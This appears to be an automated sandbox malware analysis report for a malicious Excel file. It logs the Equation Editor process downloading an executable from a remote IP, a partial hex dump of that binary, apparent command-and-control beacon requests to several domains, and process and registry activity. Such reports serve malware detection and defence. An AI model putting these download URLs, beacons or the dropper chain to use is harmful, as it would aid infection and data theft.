May 14, 2022 15:19:31.873924971 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873934031 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873958111 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873965979 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.873986006 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.873999119 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.874008894 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.874015093 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.874032021 CEST 80 49173 104.168.33.31 192.168.2.22

Timestamp Source Port Dest Port Source IP Dest IP
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May 14, 2022 15:19:31.874047041 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.874053955 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.874068022 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.874075890 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.874085903 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.874097109 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.874116898 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.874119043 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.874135971 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.874150038 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.874152899 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.874175072 CEST 80 49173 104.168.33.31 192.168.2.22

May 14, 2022 15:19:31.874188900 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.874207973 CEST 49173 80 192.168.2.22 104.168.33.31

May 14, 2022 15:19:31.880806923 CEST 49173 80 192.168.2.22 104.168.33.31

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

May 14, 2022 15:20:49.249929905 CEST 55868 53 192.168.2.22 8.8.8.8

May 14, 2022 15:20:49.270263910 CEST 53 55868 8.8.8.8 192.168.2.22

May 14, 2022 15:20:54.426791906 CEST 49688 53 192.168.2.22 8.8.8.8

May 14, 2022 15:20:54.448314905 CEST 53 49688 8.8.8.8 192.168.2.22

May 14, 2022 15:20:59.833756924 CEST 58836 53 192.168.2.22 8.8.8.8

May 14, 2022 15:21:00.015923977 CEST 53 58836 8.8.8.8 192.168.2.22

May 14, 2022 15:21:05.800946951 CEST 50134 53 192.168.2.22 8.8.8.8

May 14, 2022 15:21:05.972409964 CEST 53 50134 8.8.8.8 192.168.2.22

May 14, 2022 15:21:11.315015078 CEST 55275 53 192.168.2.22 8.8.8.8

May 14, 2022 15:21:11.426719904 CEST 53 55275 8.8.8.8 192.168.2.22

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 14, 2022 15:20:49.249929905 CEST 192.168.2.22 8.8.8.8 0xc4a9 Standard query 
(0)

www.arjimni.com A (IP address) IN (0x0001)

May 14, 2022 15:20:54.426791906 CEST 192.168.2.22 8.8.8.8 0xca6d Standard query 
(0)

www.contra
ctornurd.com

A (IP address) IN (0x0001)

May 14, 2022 15:20:59.833756924 CEST 192.168.2.22 8.8.8.8 0x1666 Standard query 
(0)

www.tw-life.net A (IP address) IN (0x0001)

May 14, 2022 15:21:05.800946951 CEST 192.168.2.22 8.8.8.8 0x723c Standard query 
(0)

www.yiwang
gkm.com

A (IP address) IN (0x0001)

May 14, 2022 15:21:11.315015078 CEST 192.168.2.22 8.8.8.8 0x150 Standard query 
(0)

www.skincl
ash.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 14, 2022 
15:20:49.270263910 CEST

8.8.8.8 192.168.2.22 0xc4a9 No error (0) www.arjimni.com arjimni.com CNAME 
(Canonical 
name)

IN 
(0x0001)

May 14, 2022 
15:20:49.270263910 CEST

8.8.8.8 192.168.2.22 0xc4a9 No error (0) arjimni.com 34.102.136.180 A (IP address) IN 
(0x0001)

May 14, 2022 
15:20:54.448314905 CEST

8.8.8.8 192.168.2.22 0xca6d No error (0) www.contra
ctornurd.com

parkingpage.name
cheap.com

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 14, 2022 
15:20:54.448314905 CEST

8.8.8.8 192.168.2.22 0xca6d No error (0) parkingpag
e.namechea
p.com

198.54.117.212 A (IP address) IN 
(0x0001)

May 14, 2022 
15:20:54.448314905 CEST

8.8.8.8 192.168.2.22 0xca6d No error (0) parkingpag
e.namechea
p.com

198.54.117.215 A (IP address) IN 
(0x0001)

May 14, 2022 
15:20:54.448314905 CEST

8.8.8.8 192.168.2.22 0xca6d No error (0) parkingpag
e.namechea
p.com

198.54.117.218 A (IP address) IN 
(0x0001)

UDP Packets

DNS Queries

DNS Answers
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May 14, 2022 
15:20:54.448314905 CEST

8.8.8.8 192.168.2.22 0xca6d No error (0) parkingpag
e.namechea
p.com

198.54.117.216 A (IP address) IN 
(0x0001)

May 14, 2022 
15:20:54.448314905 CEST

8.8.8.8 192.168.2.22 0xca6d No error (0) parkingpag
e.namechea
p.com

198.54.117.210 A (IP address) IN 
(0x0001)

May 14, 2022 
15:20:54.448314905 CEST

8.8.8.8 192.168.2.22 0xca6d No error (0) parkingpag
e.namechea
p.com

198.54.117.211 A (IP address) IN 
(0x0001)

May 14, 2022 
15:20:54.448314905 CEST

8.8.8.8 192.168.2.22 0xca6d No error (0) parkingpag
e.namechea
p.com

198.54.117.217 A (IP address) IN 
(0x0001)

May 14, 2022 
15:21:00.015923977 CEST

8.8.8.8 192.168.2.22 0x1666 No error (0) www.tw-life.net 164.155.217.57 A (IP address) IN 
(0x0001)

May 14, 2022 
15:21:05.972409964 CEST

8.8.8.8 192.168.2.22 0x723c No error (0) www.yiwang
gkm.com

23.81.214.26 A (IP address) IN 
(0x0001)

May 14, 2022 
15:21:11.426719904 CEST

8.8.8.8 192.168.2.22 0x150 No error (0) www.skincl
ash.com

traff-
6.hugedomains.co
m

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 14, 2022 
15:21:11.426719904 CEST

8.8.8.8 192.168.2.22 0x150 No error (0) traff-6.hu
gedomains.com

hdr-nlb10-
d66bbad0736f8259
.elb.us-east-
2.amazonaws.com

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 14, 2022 
15:21:11.426719904 CEST

8.8.8.8 192.168.2.22 0x150 No error (0) hdr-nlb10-
d66bbad073
6f8259.elb.us-
east-2
.amazonaws
.com

18.119.154.66 A (IP address) IN 
(0x0001)

May 14, 2022 
15:21:11.426719904 CEST

8.8.8.8 192.168.2.22 0x150 No error (0) hdr-nlb10-
d66bbad073
6f8259.elb.us-
east-2
.amazonaws
.com

3.140.13.188 A (IP address) IN 
(0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
104.168.33.31

            
www.arjimni.com

            
www.contractornurd.com

            
www.tw-life.net

            
www.yiwanggkm.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49173 104.168.33.31 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp
kBytes
transferred

Direction Data

May 14, 2022 
15:19:31.529700994 
CEST

2 OUT GET /75/vbc.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 104.168.33.31
Connection: Keep-Alive

HTTP Request Dependency Graph

HTTP Packets
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May 14, 2022 
15:19:31.645406961 
CEST

3 IN HTTP/1.1 200 OK
Date: Sat, 14 May 2022 13:19:31 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
Last-Modified: Fri, 13 May 2022 09:36:08 GMT
ETag: "4065c-5dee1677234a5"
Accept-Ranges: bytes
Content-Length: 263772
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a8 21 60 47 ec 40 0e 14 ec 40 0e 14 ec 40 0e 14 2f 4f 51 14 ee 40 0e 14 ec 40 0f 
14 49 40 0e 14 2f 4f 53 14 e3 40 0e 14 b8 63 3e 14 e0 40 0e 14 2b 46 08 14 ed 40 0e 14 52 69 63 68 ec 40 0e 14 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a9 9a 4f 61 00 00 00 00 00 
00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 12 3a 00 00 08 00 00 46 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 
00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 3b 00 00 04 00 00 00 00 00 00 02 00 40 
85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 
00 00 00 90 3b 00 50 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 
78 74 00 00 00 c4 67 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 
64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 
64 61 74 61 00 00 00 b8 eb 39 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 
2e 6e 64 61 74 61 00 00 00 00 01 00 00 90 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 
c0 2e 72 73 72 63 00 00 00 50 0a 00 00 00 90 3b 00 00 0c 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 
00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$!`G@@@/OQ@@I@/OS@c>@+F@Rich@PELO
ah:F6@;@;P.textgh `.rdatal@@.data9@.ndata:.rsrcP;@@

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49174 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred

Direction Data

May 14, 2022 
15:20:49.298163891 
CEST

282 OUT GET /nc39/?dZzp=SWFeU2CogosqNHNVddu3ZSSiHhx9YO5iIr2cqOlbYRvwZbqC6rJ+ufxHmetPGTnqGTEg+w==&3
f=j6AdrVwh HTTP/1.1
Host: www.arjimni.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

May 14, 2022 
15:20:49.414908886 
CEST

282 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Sat, 14 May 2022 13:20:49 GMT
Content-Type: text/html
Content-Length: 291
ETag: "627e7264-123"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 
68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 
65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 
20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 
61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 
0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 
20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 
20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 
Data Ascii: <!DOCTYPE html><html lang="en">  <head>    <meta http-equiv="content-type" content="text/html;char
set=utf-8" />    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" />    <title>Forbidden</title>  
</head>  <body>    <h1>Access Forbidden</h1>  </body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49175 198.54.117.212 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred

Direction Data

May 14, 2022 
15:20:54.628197908 
CEST

283 OUT GET /nc39/?dZzp=CWrF3poHj2MNQw4FqfZfOWFDC9Dy9qwGAafxJUMNhkwMJpF8RUBmV1WHKbaf9sKHKobluA==&3
f=j6AdrVwh HTTP/1.1
Host: www.contractornurd.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.22 49176 164.155.217.57 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred

Direction Data

May 14, 2022 
15:21:00.315134048 
CEST

284 OUT GET /nc39/?dZzp=Td3Z6WACWlvn2oxJ5kz3cAAvTYM+vx9a0mv4ko18Io/mhbtUurGZKYFJi0A4+N8FDsGh8g==&3
f=j6AdrVwh HTTP/1.1
Host: www.tw-life.net
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

May 14, 2022 
15:21:00.731961012 
CEST

285 IN HTTP/1.1 404 Not Found
Server: nginx
Date: Sat, 14 May 2022 13:21:05 GMT
Content-Type: text/html
Content-Length: 466
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 
48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 
33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 
64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 
39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 
6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 
74 3d 67 62 32 33 31 32 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 d2 b3 c3 e6 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 
68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 6
3 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 71 71 2e 63 6f 6d 2f 34 30 34 2f 73 65 61 72 63 68 5
f 63 68 69 6c 64 72 65 6e 2e 6a 73 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 
0a c4 e3 b7 c3 ce ca b5 c4 d2 b3 c3 e6 b2 bb b4 e6 d4 da a1 a3 a1 a3 a1 a3 a1 a3 20 20 3c 61 20 68 72 65 66 3d 22 2f 
22 3e b7 b5 bb d8 d6 f7 d2 b3 3c 2f 61 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xh
tml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" conten
t="text/html; charset=gb2312" /><title>404</title></head><body><script type="text/javascript" src="http://www.qq.com/404
/search_children.js" charset="utf-8"></script>  <a href="/"></a></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.22 49177 23.81.214.26 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred

Direction Data

May 14, 2022 
15:21:06.148781061 
CEST

286 OUT GET /nc39/?dZzp=SW2DOu4AoD1tt2PaEEhiNvSk2qD2OpQeAcSR0NEUE8SsNGniN/+F24NqGXKX7Cj1ljS/6Q==&3
f=j6AdrVwh HTTP/1.1
Host: www.yiwanggkm.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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May 14, 2022 
15:21:06.311940908 
CEST

287 IN HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 May 2022 13:20:51 GMT
Content-Type: text/html
Content-Length: 1782
Connection: close
Vary: Accept-Encoding
Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 
78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 
3d 27 c1 b9 c9 bd c7 c8 d3 d4 bd cc d3 fd d7 c9 d1 af d3 d0 cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 
74 69 74 6c 65 3e 26 23 32 37 38 32 37 3b 26 23 32 31 33 33 35 3b 26 23 32 32 39 31 39 3b 26 23 32 32 38 39 39 3b 26 
23 32 37 36 31 31 3b 26 23 33 33 35 39 32 3b 26 23 33 33 35 39 32 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 31 31 39 3b 
2c 26 23 32 30 31 32 32 3b 26 23 32 37 39 35 34 3b 26 23 32 36 30 38 35 3b 26 23 32 36 34 31 32 3b 26 23 33 39 36 34 
30 3b 26 23 32 38 31 36 35 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 32 30 31 30 38 3b 26 23 32 31 33 
30 36 3b 26 23 31 39 39 37 37 3b 26 23 32 31 33 30 36 3b 2c 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 32 
33 35 36 39 3b 26 23 32 32 39 31 39 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 39 37 3b 26 23 31 31 38 
3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 33 3b 26 23 32 30 30 33 37 3b 26 23 32 30 30 33 37 3b 2c 26 23 33 34 35 
38 38 3b 26 23 33 33 34 36 39 3b 26 23 34 30 36 33 35 3b 26 23 33 35 39 31 30 3b 26 23 32 33 35 38 38 3b 26 23 32 39 
32 38 39 3b 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 3c 2f 74 
69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 
23 32 37 38 32 37 3b 26 23 32 31 33 33 35 3b 26 23 32 32 39 31 39 3b 26 23 32 32 38 39 39 3b 26 23 32 37 36 31 31 3b 
26 23 33 33 35 39 32 3b 26 23 33 33 35 39 32 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 31 31 39 3b 2c 26 23 32 30 31 32 
32 3b 26 23 32 37 39 35 34 3b 26 23 32 36 30 38 35 3b 26 23 32 36 34 31 32 3b 26 23 33 39 36 34 30 3b 26 23 32 38 31 
36 35 3b 26 23 31 39 39 36 38 3b 26 23 32 31 33 30 36 3b 26 23 32 30 31 30 38 3b 26 23 32 31 33 30 36 3b 26 23 31 39 
39 37 37 3b 26 23 32 31 33 30 36 3b 2c 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 32 33 35 36 39 3b 26 23 
32 32 39 31 39 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 39 37 3b 26 23 31 31 38 3b 26 23 32 30 38 31 
33 3b 26 23 33 36 31 35 33 3b 26 23 32 30 30 33 37 3b 26 23 32 30 30 33 37 3b 2c 26 23 33 34 35 38 38 3b 26 23 33 33 
34 36 39 3b 26 23 34 30 36 33 35 3b 26 23 33 35 39 31 30 3b 26 23 32 33 35 38 38 3b 26 23 32 39 32 38 39 3b 26 23 32 
32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 22 20 2f 3e 0d 0a 3c 6d 65 74 
61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 37 38 32 37 3b 26 
23 32 31 33 33 35 3b 26 23 32 32 39 31 39 3b 26 23 32 32 38 39 39 3b 26 23 32 37 36 31 31 3b 26 23 33 33 35 39 32 3b 
26 23 33 33 35 39 32 3b 26 23 39 38 3b 26 23 39 38 3b 26 23 31 31 39 3b 2c 26 23 32 30 31 32 32 3b 26 23 32 37 39 35 
34 3b 26 23 32 36 30 38 35 3b 26 23 32 36 34 31 32 3b 26 23 33 39 36 34 30 3b 26 23 32 38 31 36 35 3b 26 23 31 39 39 
36 38 3b 26 23 32 31 33 30 36 3b 26 23 32 30 31 30 38 3b 26 23 32 31 33 30 36 3b 26 23 31 39 39 37 37 3b 26 23 32 31 
33 30 36 3b 2c 26 23 33 31 39 33 34 3b 26 23 32 31 36 39 37 3b 26 23 32 33 35 36 39 3b 26 23 32 32 39 31 39 3b 26 23 
32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 39 37 3b 26 23 31 31 38 3b 26 23 32 30 38 31 33 3b 26 23 33 36 31 35 
33 3b 26 23 32 30 30 33 37 3b 26 23 32 30 30 33 37 3b 2c 26 23 33 34 35 38 38 3b 26 23 33 33 34 36 39 3b 26 23 34 30 
36 33 35 3b 26 23 33 35 39 31 
Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><script>document.title='';</script><title>&#27827
;&#21335;&#22919;&#22899;&#27611;&#33592;&#33592;&#98;&#98;&#119;,&#20122;&#27954;&#26085;&#26412;&#
39640;&#28165;&#19968;&#21306;&#20108;&#21306;&#19977;&#21306;,&#31934;&#21697;&#23569;&#22919;&#201
54;&#22971;&#97;&#118;&#20813;&#36153;&#20037;&#20037;,&#34588;&#33469;&#40635;&#35910;&#23588;&#292
89;&#22269;&#20135;&#31934;&#21697;</title><meta name="keywords" content="&#27827;&#21335;&#22919;&#
22899;&#27611;&#33592;&#33592;&#98;&#98;&#119;,&#20122;&#27954;&#26085;&#26412;&#39640;&#28165;&#199
68;&#21306;&#20108;&#21306;&#19977;&#21306;,&#31934;&#21697;&#23569;&#22919;&#20154;&#22971;&#97;&#1
18;&#20813;&#36153;&#20037;&#20037;,&#34588;&#33469;&#40635;&#35910;&#23588;&#29289;&#22269;&#20135;
&#31934;&#21697;" /><meta name="description" content="&#27827;&#21335;&#22919;&#22899;&#27611;&#3359
2;&#33592;&#98;&#98;&#119;,&#20122;&#27954;&#26085;&#26412;&#39640;&#28165;&#19968;&#21306;&#20108;&
#21306;&#19977;&#21306;,&#31934;&#21697;&#23569;&#22919;&#20154;&#22971;&#97;&#118;&#20813;&#36153;&
#20037;&#20037;,&#34588;&#33469;&#40635;&#3591

Timestamp
kBytes
transferred

Direction Data

• EXCEL.EXE

• EQNEDT32.EXE

• vbc.exe

• yldnat.exe

• yldnat.exe

• explorer.exe

• wuapp.exe

• cmd.exe

Click to jump to process

Statistics

Behavior
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Target ID: 0

Start time: 15:18:17

Start date: 14/05/2022

Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Wow64 process (32bit): false

Commandline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding

Imagebase: 0x13fe10000

File size: 28253536 bytes

MD5 hash: D53B85E21886D2AF9815C377537BCAC3

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

Key Path Completion Count Source Address Symbol

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems success or wait 1 6E2E0648 unknown

Key Path Name Type Data Completion Count Source Address Symbol

HKEY_CURRENT_USER\Softwar
e\Microsoft\Office\14.0\Excel\Resil
iency\StartupItems

=j* binary 3D 6A 2A 00 D8 0A 00 00 02 00 00 00 
00 00 00 00 42 00 00 00 01 00 00 00 
20 00 00 00 16 00 00 00 64 00 6C 00 
30 00 33 00 33 00 32 00 37 00 69 00 
6E 00 76 00 2E 00 78 00 6C 00 73 00 
78 00 00 00 64 00 6C 00 30 00 33 00 
33 00 32 00 37 00 69 00 6E 00 76 00 
00 00 

success or wait 1 6E2E0648 unknown

Key Path Name Type Old Data New Data Completion Count
Source
Address

Symbol

Target ID: 2

Start time: 15:18:42

Start date: 14/05/2022

Path: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Wow64 process (32bit): true

Commandline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Imagebase: 0x400000

File size: 543304 bytes

MD5 hash: A87236E214F6D42A65F5DEDAC816AEC8

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: C, C++ or other language

Reputation: high

System Behavior

Analysis Process: EXCEL.EXE PID: 2776, Parent PID: 576

General

File Activities

Registry Activities

Key Created

Key Value Created

Analysis Process: EQNEDT32.EXE PID: 2364, Parent PID: 576

General

File Activities

File Created
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File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 36D0503 URLDownloa
dToFileW

C:\Users\user\AppData\Local read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 36D0503 URLDownloa
dToFileW

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet Files

read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 36D0503 URLDownloa
dToFileW

C:\Users\user read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 36D0503 URLDownloa
dToFileW

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device | sparse 
file

directory file | 
synchronous io 
non alert | open 
